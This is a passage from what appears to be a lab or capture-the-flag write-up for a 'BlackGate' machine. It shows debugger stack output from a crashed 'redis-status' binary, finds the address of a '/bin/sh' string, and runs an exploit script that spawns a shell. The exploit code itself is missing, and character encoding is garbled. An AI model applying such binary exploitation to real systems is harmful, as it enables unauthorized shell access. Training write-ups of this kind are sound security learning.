βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0x00007fff45b40448β+0x0000: 0x00007fff45b40538 β 0x00007fff45b42389 β "./redis-status" β $rsp
0x00007fff45b40450β+0x0008: 0x00007fff45b40538 β 0x00007fff45b42389 β "./redis-status"
0x00007fff45b40458β+0x0010: 0x00c0ae67faca6f46
0x00007fff45b40460β+0x0018: 0x0000000000000000
0x00007fff45b40468β+0x0020: 0x00007fff45b40548 β 0x00007fff45b42398 β "COLORFGBG=15;0"
0x00007fff45b40470β+0x0028: 0x0000000000000000
0x00007fff45b40478β+0x0030: 0x00007fbb33150020 β 0x00007fbb331512e0 β 0x0000000000000000
0x00007fff45b40480β+0x0038: 0xff3e250ff2a86f46
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x100400000
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, Name: "redis-status", stopped 0x100400000 in ?? (), reason: SIGSEGV
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
gefβ€
With this iβll search for the address out input /bin/sh is stored in the .data section
gefβ€ x/s 0x000000000404048
0x404048: "/bin/sh"
gefβ€
Now that we have the address, hereβs the exploit Exploit
Running it then inputting /bin/sh gives us shell
βββ(markγΏhaxor)-[~/β¦/B2B/Pg/Practice/BlackGate]
ββ$ python3 exploit.py
[+] Starting local process './redis-status': pid 143262
[*] Switching to interactive mode
[*] Redis Uptime
Authorization Key: Wrong Authorization Key!
Incident has been reported!
$ /bin/sh
$ ls -al
total 48
drwxr-xr-x 2 mark mark 4096 Feb 28 14:41 .
drwxr-xr-x 43 mark mark 4096 Feb 28 00:59 ..
-rw-r--r-- 1 mark mark 1927 Feb 28 14:36 exploit.py
-rw------- 1 mark mark 108 Feb 26 05:16 .gdb_history
-rw-r--r-- 1 mark mark 1827 Feb 28 03:23 getaddr.py
-rw-r--r-- 1 mark mark 793 Jan 21 12:12 nmapscan
-rw-r--r-- 1 mark mark 312 Feb 28 14:41 payload
-rwxr-xr-x 1 mark mark 17056 Jan 21 15:41 redis-status
$
I made an outfile where the payload is stored since the target doesnβt have pwntool library, iβll transfer the payload to it
Now that weβve transfered the payload iβll run it on the binary
And weβre done xD